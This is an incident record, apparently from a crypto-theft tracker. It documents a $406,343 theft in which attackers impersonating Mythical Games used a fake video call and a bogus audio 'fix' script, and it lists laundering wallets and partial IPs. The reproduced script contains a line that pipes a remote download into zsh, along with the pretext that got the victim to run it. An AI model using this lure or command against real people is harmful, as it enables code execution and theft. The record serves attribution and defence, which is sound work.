# A6 via Fake Mythical Games

Date:: 2025-02-28

Time:: 12:25 UTC – 01:58 UTC, 23:09 UTC

Amount Stolen:: $406,343

Tags:: 🔑

---


## Details

- Had a video call with the exploiters

- Was an issue with the sound

- Victim ran the suggested fix script provided by the exploiters.

- On call were 3 males. 2 didnt speak, one did. Seemed like live interaction (?)

- “John Linden” - @mythicaljohn - 7440942015

- https://calendly.com/john-mythicalgames/30min?month=2025-03

- meet[.]mythicalgames[.]foundation/zoom/join?mn=65185420&pwd=r47BVC

```
system_profiler SPAudioData
softwareupdate --evaluate-products --products audio --agree-to-license
curl -A audio -s https://api.zoom-sdk[.]us/update/drivers/65185420 | zsh
system_profiler SPSoundCardData
softwareupdate --evaluate-products --products soundcard
system_profiler SPSpeechData
softwareupdate --evaluate-products --products speech --agree-to-license
```

- Attributed in [MSMT: The DPRK’s Violation and Evasion of UN Sanctions through Cyber and Information Technology Worker Activities](./pdfs/2025-10-22_MSMT-Report.pdf)



## Onchain

- TK3E1NWkehLoBKUWbhjUudxxjN4abYdu7T - Direct Theft

- EQAq887cEkvOMBdafawfjl8JqKIsk3DQopMT8q79D7r - Direct Theft

- 0x37ef7efda71203f17f26730611bd8eef11f5f8af - Primary Theft

- 0xd5944357a065245064a8b8dfc58e789a90dce0f6 - Consolidation

- TGoZ4yeuG13ysYYZEX334PvnqyWDnDJ2JT - Source of Gas Funds (2025-02-28)

- TAJFh3AqQKm6bvUYejJrH3k8htwTbunn5g - Source of Gas Funds (2025-02-28)

- 0x73565a7488cb4853c17923d88da3ccb81fd9aa8e - eXch Depo ($192k, 2025-03-14)
- bc1q9knpsljy40j5jmphcyl7nzvhjvch5gp6kzhwnn - eXch Withdrawal ($191k)

- 0x0c52194fd9148de91e96a8e123ab90f1482c6449 - eXch Depo ($218k, 2025-03-14)
- bc1qv4qm5jy2qy30ggjlygkd2665t90dcwuyga9hxe - eXch Withdrawal ($218k)

- bc1qfe4h6ghdg0fj37ftmsw437mfc4e74v5pvhfx8u - Laundry (2025-04-10)
- 0xbbda30ef4ffe8530f8331980e5dee10e4f4510f6 - Laundry (2025-05-10)
- 0x3e6fd32e3b31519ff262840138ae389bf67c59cb - Laundry (2025-05-10)
- TQ34huvwXUEWAYTpzZjmyX9evd9FpehfPB - Laundry (2025-05-15)
- TToFhCouGMRbgoPMAoUkgE55USAKJYRc5H - Laundry (2025-05-15)
- 0xaf2e31a158410364c155463faaec4daead879ca1 - Dust (2025-08-06)

- Used Defiway, ChangeNOW, FixedFloat, Symbiosis, OKX Dex, Bridgers from TRON and TON -> ETH



## Indicators

- 2025-02-28 - 85.203.44.XX

- 2025-03-03 - 103.125.146.XX

- 2025-03-03 - 103.163.220.XX

- 2025-03-03 - 83.234.227.XX (Leaked TTK)

- 2025-03-03 - 212.30.36.XX